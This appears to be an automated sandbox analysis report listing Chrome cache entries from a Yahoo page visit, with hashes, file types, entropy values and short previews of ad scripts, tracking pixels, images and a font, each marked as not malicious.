SHA-256:	F04A6DA141FD7C629975DA8633228D8431CFB21D8FB375099F237C9145CC90BE
SHA-512:	1A9F18C850D150792046C9D84DC5F9DF0CB9F5A2604CCE6DF9EDB5D94C5E073FB42BC2868A3D1AC846D9D2FD1CB265E53C11F85F770F056E3E63F8AEE7FEE22B
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/I.FslbBmdOaA_GV99DsKiA--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-03/36fc42d0-ed81-11ee-adfd-72161754983a.cf.webp
Preview:	RIFF...WEBPVP8 ........,...>y0.F..........M..h(.>.+.......=~].O..C.....\|.....o.z.....Z$.....u...>....R>......?<u x.2}.<..g.iY.yg.w.;....Q...........]...p.w%v....JDU.h5.....F....w........}_c..........2..\|~{u...{.....qZ_p..S..../^F.\|&...,.s'.....D..B.O.R`.M9..n#....U.u..`..F\.p...2......G..E..C.U..y....7.g.]..@..-l8D......g3...;.i..0-ba...m....Y.......D..Z.-..........pi.D.\zz.#c..}..U]l.....w....2.....~u..s>.....3.H.....n.#t.m$...Z.)-!..n;.......+.a..0.1...)o)..Cx.w...R$.Z..../....-WTE]..o....\|.aS..b.[ !0&..S.f..a....p.o.a.1..[.c.b.T........Rf..=.8.)...(......O..l.....x...v.C.1.(mx;7.Z..N.v.$0.v4.j......U..{f..8./I...<T.....m....(".[..^N..T...0s.....t...XcqF)f....?....yY...r...L.UOe.q..3....Of....G\|.ap.C.....`.Rp.^&.....}..DY.[$...&9S04."ck\K.H..E....7jk..P...A!..M...v\.k..E.V..Z..]Qq. =.......K.....,..V...#\|.......z4...h....8/".....v...GZ4.N....:...t....+Q.M.....W.%..@.O.....%..J...@:s..\.9......].e>...{.`.....o{...~._(. c@a.!4...$.

Chrome Cache Entry: 552

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11230), with no line terminators
Category:	downloaded
Size (bytes):	11230
Entropy (8bit):	5.207546962286139
Encrypted:	false
SSDEEP:	192:3ciaumTuQ/2lAg6gA2MZzXanihYZRCq4b8jbcMiISXsrFyOof7:3vmiQhgAfzXancMCqYciFXsrFyv
MD5:	B29975904D91FE6FF597A7FD5A315391
SHA1:	79A3373AD0C641BD858221C4B70A995215064AC9
SHA-256:	B2918846CC75BC0BFC18AF81ABF8F0E4F9D30CFD5383639CE07601F4A74684E5
SHA-512:	480A454CCED569439C22251D6DBB4300A340A2BBD777E62F90C2634902774F58046AE142848A2AC81276989642AF026A85B6F4F1E19A10B45BE9D7C2FB54A3F5
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-native-da-1.0.5-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-native-da",[],t):"object"==typeof exports?exports["wafer-native-da"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-native-da"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a functi

Chrome Cache Entry: 553

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (596), with no line terminators
Category:	downloaded
Size (bytes):	596
Entropy (8bit):	5.51486499921158
Encrypted:	false
SSDEEP:	12:C35JHlhpsgi7x13Z2MozYi7C31Ahz5Rmguei7x135MDOggi7RkDp:CpJHv+17x1JToR7CYPmF7x1C6g170p
MD5:	022F2868033F95E4FF31F710C6CF2AAB
SHA1:	73BF42CDC4BBEC0AF474E6DC82655BB42DDC3EC5
SHA-256:	C8AEF6E62C37FF56E761A70B332C22A3FB75434FDF4DEBAE1960CC891F248984
SHA-512:	205FD4A8A2FB94C07D47FC85FDD4562A93D4BDCCA563AB866D0428B5CB7AD0517ACF4DE76CE275BFD334662639A6DA48F0DD38BAA9AAA480E39812C26AB507E1
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=16996156&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	PubMatic.loadAsyncImagePixel('https://bpi.rtactivate.com/tag/?id=20909&user_id=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.tapad.com/idsync/ex/receive?partner_id=3371&partner_device_id=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B');PubMatic.loadAsyncImagePixel('https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://io.narrative.io/?companyId=673&id=pubmatic_id:EE7B59FE-9DAF-415D-A93C-7AF48020DD7B.');PubMatic.PugMasterCallback(false, false, true);

Chrome Cache Entry: 554

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (625), with no line terminators
Category:	downloaded
Size (bytes):	625
Entropy (8bit):	5.48487718043482
Encrypted:	false
SSDEEP:	12:C3HE4ui7C3pMG0R1jMBFi7C3hyIwClgi7F13ZFdi7xPkDp:C04z7CaRi47CNl17F1Jy7xKp
MD5:	5BEC40BC2511E11FAFB948C91503D2E0
SHA1:	0F013B5F751499FD696EAD7ECF6033F4BFB26F44
SHA-256:	1748B4FFA1B454C2DA306258CEFD18F435211879A706322087DD348219F88804
SHA-512:	DDAC76516CA5B55AB7DF2B063CE467D3FCD4616385D716D0DF541D799AB44DC59ECB15E1B3D5952A0BFE01F862121A814C5590C8023123EBC9A7CF67E23F479F
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=25261067&p=159463&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	PubMatic.loadAsyncImagePixel('https://a.audrte.com/match?gdpr=0&gdpr_consent=&p=M1717054901&uid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B');PubMatic.loadAsyncImagePixel('https://aa.agkn.com/adscores/g.pixel?sid=9212308278&puid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B');PubMatic.loadAsyncImagePixel('https://uipglob.semasio.net/pubmatic/1/info?sType=sync&sExtCookieId=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&sInitiator=external&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.onaudience.com/?partner=214&mapped=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.PugMasterCallback(false, false, true);

Chrome Cache Entry: 555

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1763)
Category:	downloaded
Size (bytes):	39038
Entropy (8bit):	5.430664050428052
Encrypted:	false
SSDEEP:	768:a5/nVk+G9hMlWTSwx832cQyHaSaSmAjiT:a1Vk+G6lWuwx8fLabSNU
MD5:	E073798C657A0FC59453B8B6ADEDCEBA
SHA1:	401AB66A92A6716CD4C981894D47F679FC1AE9AB
SHA-256:	EB66C7C9D097D5BA414230F422484C17FA6F37157D30E1DED2CC5F65A9667987
SHA-512:	866345625C19C0256BE9BF9F383291E645C6B64124A43BDD1C02F92FC2AE0F0AD985A15FF39319456B679B73B058290C0A0FE10C073D76F2C5976D8ED8D84A49
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/sodar/62bHydCX.html
Preview:	<!DOCTYPE html>.<meta charset=utf-8><script>.(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},p="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},r=ba(this),t=function(a,b){if(b)a:{var c=r;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&p(c,a,{configurable:!0,writable:!0,value:b})}};.t("Symbol",function(a){if(a)return a;var b=function(h,f){this.Ca=h;p(this,"description",{configurable:!0,writable:!0,

Chrome Cache Entry: 556

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 557

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	48
Entropy (8bit):	5.251629167387827
Encrypted:	false
SSDEEP:	3:YEOBHENpZAWo7Hexk4:YEOBy3SHexk4
MD5:	DD7C8D16FC7EE3F3F9C686C981DF21A9
SHA1:	44AF00B7A5195F9DAE34954FAFB1ED6619133334
SHA-256:	7325F9836A519464E5800AA567421A076EDF24A65EDB796A6871D9D3F81EE3EB
SHA-512:	98F5FE72655D4362C00B0737E70D197A99942852C925DC64A7DC945A41B2A7DF66B903C8D91645CA652FA3D665AA3F413AA80FA84D9E38ADB4180454C1A5C14F
Malicious:	false
Reputation:	low
URL:	https://ups.analytics.yahoo.com/ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN
Preview:	{"axid": "y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A"}

Chrome Cache Entry: 558

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 536x284, components 3
Category:	dropped
Size (bytes):	44543
Entropy (8bit):	7.961230870957387
Encrypted:	false
SSDEEP:	768:2+dzOrgzitP16tJnHxHxWuC8mZBXoVy2MA/ePaVKW2Kgwrtt3mYGSIoczu2NAO10:2+xovkVHxRWlv32F/PVB2V+iSqijviM
MD5:	352282F64D569D2F9686C758EA24BF6F
SHA1:	ABF1AAA1930D8093F57A8ADE09C2D72C36468E6A
SHA-256:	B310491DC1CB11B62F4256302AE15926BB17E5FEFD73EFA22AADD3AD39A9957E
SHA-512:	03136F4FAE5AC50F33ED547F18664BDFA5E9B8A166BAE6F43B3157479503A29AEF77A8A746200A8FB1A9E88E978E04296D43B565B5D11C388705B8B0F01F67A3
Malicious:	false
Reputation:	low
Preview:	......JFIF.............@ICC_PROFILE......0ADBE....mntrRGB XYZ .........3.;acspAPPL....none...........................-ADBE................................................cprt.......2desc...0...kwtpt........bkpt........rTRC........gTRC........bTRC........rXYZ........gXYZ........bXYZ........text....Copyright 2000 Adobe Systems Incorporated...desc........Adobe RGB (1998)................................................................................XYZ .......Q........XYZ ................curv.........3..curv.........3..curv.........3..XYZ ..........O.....XYZ ......4....,....XYZ ......&1.../.......C....................................................................C......................................................................................................................Q..........................!.1.AQ.."aq2....#BR...3br.$4S.......CDTc...%5s&6d....................................7........................!.1..A."Q.#23a$Bq.4CR...%S...............?...s.+.mP..W.8^TB.+?..."em..R..

Chrome Cache Entry: 559

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 356x180, components 3
Category:	dropped
Size (bytes):	20481
Entropy (8bit):	7.931248034976772
Encrypted:	false
SSDEEP:	384:2K3H5DQzsMGq/5T+t6f2/lP1loFMqeyIG0NQz4Oukm2m9klkmrfRMa:2K3RQhFT+se/ljoFMqeyQQzTZX+Zmrfp
MD5:	3D04AD7124A28AF4E18219D2054F1AD2
SHA1:	40435D198F29A06211893EC6EC58A973E9F09E29
SHA-256:	1A5CF6A76B190EA1832AE95AEBA02442B2D377389B2C68A0FBAEB854DCD80641
SHA-512:	BF527F1C5A1006604770CB23AF3D4CD448B660A5A1CF387661A75AF96FDBD2915A4DFA3E710A7C1EF156AD7B5E9B07D0469F6C504BF980B6CDE7F7C6CD9CBFD4
Malicious:	false
Reputation:	low
Preview:	......JFIF.............@ICC_PROFILE......0ADBE....mntrRGB XYZ .........3.;acspAPPL....none...........................-ADBE................................................cprt.......2desc...0...kwtpt........bkpt........rTRC........gTRC........bTRC........rXYZ........gXYZ........bXYZ........text....Copyright 2000 Adobe Systems Incorporated...desc........Adobe RGB (1998)................................................................................XYZ .......Q........XYZ ................curv.........3..curv.........3..curv.........3..XYZ ..........O.....XYZ ......4....,....XYZ ......&1.../.......C....................................................................C.........................................................................d............................................K..........................!.1.AQa.."2q...#BR....3b...4Cr..$%DSs..T......................................7........................!1..A..2Q."#3.Ba..$4q..CRS...............?...\|..y.8.B}.<..M... ..J2;.c .O.)".{.

Chrome Cache Entry: 560

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2974)
Category:	downloaded
Size (bytes):	18531
Entropy (8bit):	5.618136256620329
Encrypted:	false
SSDEEP:	384:731V+d9FVR6F8W+Peaeop6AsH9xE7aF9Du:b+GaefV9xTFg
MD5:	F21CD34BB729CC37FD2EDDFA47477306
SHA1:	2E188C43160DE0EA96E448F8F838DADCDD7EBF8F
SHA-256:	47866B8D2915779096BE19131EFECCE0297C2A0C37F581C4E6EE187B13EBB8EA
SHA-512:	A63432649E6B8363596E5C14C4694879A362669C5A14F6B0907C98277FB20DEB0DB6E4D6A30603AAC9CE0EF18FAB42F4B7ED31D37661DD5668181C678FED36FA
Malicious:	false
Reputation:	low
URL:	https://www.googletagservices.com/dcm/dcmads.js
Preview:	(function(){var aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},da=ca(this),h=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.h("Symbol",function(a){if(a)return a;var b=function(f,g){this.g=f;ba(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=function(){return this.g};var c="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=function(f){

Chrome Cache Entry: 561

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2314)
Category:	downloaded
Size (bytes):	4043
Entropy (8bit):	5.403398189872564
Encrypted:	false
SSDEEP:	96:NY7YNYMj8UazlKarsW1SPKTBxj6kDxx1vlsyS159O84+SGyAZTxSf0v:686BbldnMSTflDBvQB4+PXVxScv
MD5:	DB68CE1DB64EC5895355EF8870D44DFF
SHA1:	39CABE6D5EDDC7A76B282E8AE6D026E26B5FF611
SHA-256:	36BE4F9EEE63AF832548F73B3116ED38059E64867B036714A0A272B6406AC3F8
SHA-512:	25763A4EF87441C49E9DC13EFA977473363715B4BE81C38FD74FF4E31220A0F729B5D5D8DAEB65B0160C6B18CCB540ADB26760A8E45608B8833443D6D14307FF
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/pagead/js/car.js
Preview:	/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 ./ .var e=this\|\|self,f=function(a){return a};/ . . SPDX-License-Identifier: Apache-2.0 .*/ .var g={};function h(a){return Object.isFrozen(a)&&Object.isFrozen(a.raw)}function k(a){return-1===a.toString().indexOf("`")}const l=k(a=>a``)\|\|k(a=>a`\0`)\|\|k(a=>a`\n`)\|\|k(a=>a`\u0000`),m=h``&&h`\0`&&h`\n`&&h`\u0000`;var n;var q=class{constructor(a){if(p!==p)throw Error("TrustedResourceUrl is not meant to be built directly");this.j=a}toString(){return this.j+""}},p={},r=function(a){if(void 0===n){var b=null;var d=e.trustedTypes;if(d&&d.createPolicy)try{b=d.createPolicy("goog#html",{createHTML:f,createScript:f,createScriptURL:f})}catch(c){e.console&&e.console.error(c.message)}n=b}a=(b=n)?b.createScriptURL(a):a;return new q(a)};var t=class{constructor(a){if(g!==g)throw Error("Bad secret");this.l=a}toString(){return this.l}};new t("about:blank");new t("about:invalid#zClosurez");const u=[];var v=a=>{console.warn(`A

Chrome Cache Entry: 562

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8288), with no line terminators
Category:	downloaded
Size (bytes):	8288
Entropy (8bit):	5.198733823701212
Encrypted:	false
SSDEEP:	192:3XumTufAC6+AjK90Q+qU4Pwf+fdOZ00HY+Zy4+X71:3emif3GK90KUhudhx4+L1
MD5:	35AEE535D9E7EEBE8DE39DFDD5EBEE5B
SHA1:	F19FEFFC6917B684C31937D3A12BCA925AE5F591
SHA-256:	0E76815605473BFD1C68016D6CF1FE729BFE38BB6039FC35476A2F3E16EFC752
SHA-512:	CB62A65AAE3B95604E256B9FD86783D0BFBDB64E2DF3B65CD2FF25A24C6E54DC93B332FEE04F0AA66048F1E8B725B60A34BBF54E91A6C905FBC4BC4A353D09F5
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-benji-1.1.4-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-benji",[],t):"object"==typeof exports?exports["wafer-benji"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-benji"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)\|\|Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}functio

Chrome Cache Entry: 563

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	3.0241026136709444
Encrypted:	false
SSDEEP:	3:CUmExltxlNXE:JQ
MD5:	B4682377DDFBE4E7DABFDDB2E543E842
SHA1:	328E472721A93345801ED5533240EAC2D1F8498C
SHA-256:	6D8BA81D1B60A18707722A1F2B62DAD48A6ACCED95A1933F49A68B5016620B93
SHA-512:	202612457D9042FE853DAAB3DDCC1F0F960C5FFDBE8462FA435713E4D1D85FF0C3F197DAF8DBA15BDA9F5266D7E1F9ECAEEE045CBC156A4892D2F931FE6FA1BB
Malicious:	false
Reputation:	low
URL:	https://www.yahoo.com/px.gif?ch=1&rn=1.9185749898548843
Preview:	GIF89a.............!.......,...........2.;

Chrome Cache Entry: 564

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4348), with no line terminators
Category:	downloaded
Size (bytes):	4348
Entropy (8bit):	5.175097086994074
Encrypted:	false
SSDEEP:	96:3haIoq1mr8gYdYjeL+Pvq51pNAcllADTyBnmYCoqvpt4bIs:3uuA8gYSjeL+XI1pNZlls+CA3
MD5:	681D57E9E7CBEF5DE44544C13F8CA62E
SHA1:	65CFB6398D61FE7CAC86C90DC042095D8E3CD623
SHA-256:	EF70829B2E58AFC016C35CE9A83E2BB60AD24D6341491686EE168EE71C40123F
SHA-512:	2A131198DBB855882D7C7B687650B57133C4375FCEA4E4A86D338A78DCAEAFC18DC5477593429B6B1A599419F108F4BEBE7588BAE7C7831B5EA87D6C2BDF65C6
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-countdown-1.2.5-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-countdown",[],t):"object"==typeof exports?exports["wafer-countdown"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-countdown"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)\|\|Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a functi

Chrome Cache Entry: 565

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 65176, version 1.0
Category:	downloaded
Size (bytes):	65176
Entropy (8bit):	7.996782865840981
Encrypted:	true
SSDEEP:	1536:dJDFHWg/7CxUjbXmJ9U10h5An23d5X0LcpSOwHfvMQv:dJT/7CxUvmKgAakLcpSpHfU0
MD5:	B4DF4FCE99E5A3C3D1493112A0159071
SHA1:	D6CE384A32EC1D859406D6E4EBE3FE547DB3B82A
SHA-256:	C77AC0AA1AA3C9715CACB1FC76FEAF226E30927A9636E5C75C4DFEB75C0F8F98
SHA-512:	AF1F4EFF0DEB18BA2628D82BB6CA16D6340DC797A438B13F29929DB1548155F82FD1840D18C275438F5EC251A6E82670E2FF89477F1334E1CD45422E02E8EEDC
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/ngy-fonts/YahooSans-VF-Web.woff2
Preview:	wOF2..............^............................../......z?HVAR.w.`?STAT..../d......O..6.0..F.6.$..f. ..\|..9[.G....h,j+n..mD.gn.V....<..c1=..2..~.....v.^........%..[3.......f..f..?.aD.......y..T..;O.s~.......r~{.?..t.v. .D.K_...tV...7.J..-2.:F.DDD....;.j.....uRh.e<.(..JD..g.SE..6<...4..{Q....4a!..D...)`..B5..%.9..%a.....ga..2z.l....J......l....y"[.W ..,# .gL.3~..Y.S.sx..7.b....TAT..!..~6<..`....\|E...S.W.\|7..^.a....%2.KJ.Iu;...Z3".\|.!..D..!,.S.."W]z..O.>..`r...PJ,.9)D..k<n.@.%..^N...b...`.E..w.#........SE.'..M.vG.e'.2.._......m....w494.._........~.}N...^h...QmF.;.~U...q.........u.Q....p.5.l.(...U.~.....5c.3q:..[S..s.y..(J...V.....bc.haTY.Qg..W.V\xQi......g.....'\.o.".....=..BI..A.d\|....7'&.!...o..5D;K..W<tJ j..Cs+..%.&.0.........>N.1...).aP..G.co..6...s.c.....?6..&Q...`lx_.)....0u.....}.1...6..&mv...D&....M.. .L..aXDd.D.)Md...I.AL.I....5}.-./n3.tS..5.q..%.~.r^h.e.n./..CJ69... .......T..g.....}.3.z....%.7.":%......'Z4\.....0....M?.NE.8)ZjHVr.

Chrome Cache Entry: 566

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 356x180, components 3
Category:	dropped
Size (bytes):	29572
Entropy (8bit):	7.971314947487801
Encrypted:	false
SSDEEP:	768:tWneIpvpD3DC0eczxxZNDe9CbDKMFwNGGRq7ZaQO:7Ipv9DC0eCxxLwDGGRwO
MD5:	BE248540052AC26B431FFACADBF931E7
SHA1:	ADE0B3CED39A9B864CF7D820537143783D243F8A
SHA-256:	2869153DA112FB7B9902BDDA09FADA1816FCE43DEF0C05806EC84498D5485221
SHA-512:	21B58952E69AFCC6507F5DA08307DF1C724316EB08C7C373AB0AD3D3A83BAF7F44BDED25F58913F7C12CE336BEC2F336817189EDC50F403C4A5AAB6362B512FF
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................d............................................@........................!..1A."Qa..q..2..B..#Rb.3r......$CS..4.................................7........................!1..A."#23QBRa.q..C.b...4S...............?.I..K!..0..s...........S.j.yy...?3}w..k....i....5LM=4sI.71L.@}.~u.rZW.q..n..W9.......+........R.>.j.%..QMP.j#j....c.>..t...j.;a..R.N..p.....,..8.B.y.\l...T...\|.0gUR....Kk%.7Q\#..I59.03.'> ..m1...P..5".\|;..\|,..?HP1......O<..._..`.....o.y.B..N..R..3..n...a...Y,.+.pU.8....n...).l..:...gWZ.7..`.....c o.....%...8..>..%..5XQ......;...C..!..=...4.>%U<..HY..2..l..._....`].W....c<....I.(.7s..#E.0.........7.T?......J...5....%h...f...UT....q...H..U.n\|#J...."......R^#.WG<.\|.,p+.......N.s..k%.o\|4.......R....%ER.. ;....G.w.;......<..SM_W.e.....\|."2....:.0].X;./.1..u.S.4Q.Y.Y...m....t..`[.........).`..

Chrome Cache Entry: 567

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	48
Entropy (8bit):	5.110902344426088
Encrypted:	false
SSDEEP:	3:YEOBHXp8nSVaOY:YEOB3gSVw
MD5:	BB4CBD999E8C27B97F471709AEAE6FD7
SHA1:	0B3E1A3895FC6747B881362E95EF407893BB4A74
SHA-256:	A67724E59B0FA59FDCE98416179DC23C5663E0DDE3F5EF0ADB4C96B22A6A6E65
SHA-512:	2178B50FC40FA33445A5B1F6DFF436580AA7A45A9393B873B668E1D08709F34E8DF7C69AA1434B5D46FDF4770CAAFBA55A9A76F381B4244E0D6AE76ED5CD5805
Malicious:	false
Reputation:	low
URL:	https://ups.analytics.yahoo.com/ups/58834/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN
Preview:	{"axid": "y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A"}

Chrome Cache Entry: 568

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1549
Entropy (8bit):	7.68911639521585
Encrypted:	false
SSDEEP:	24:Py1nfBWui8FepGcWGRp7YqGqwXeIiMNZIFJd7kG5H7a1dlgwm/2IlMTEGe:I8BG0VYqG5l1NZWJf7YgvVloEGe
MD5:	B2B37AA9F64082EEEDB9670C620BACA1
SHA1:	BAE0DECAF4DD31625A5E9E1D384AC0D85FAD0E4E
SHA-256:	C9658821B2D9D149EB6D868C6CE8811406C6E8FB1F74104EB480264F94836428
SHA-512:	86AEE8D58393F05D769E978FDCDA738FBCBFB8545F419E4D92F75E0D4AB43A9E846B66EBD8D348DD20A4BD2F906E117C0192AA8FB604F937CB7A1FFF30000723
Malicious:	false
Reputation:	low
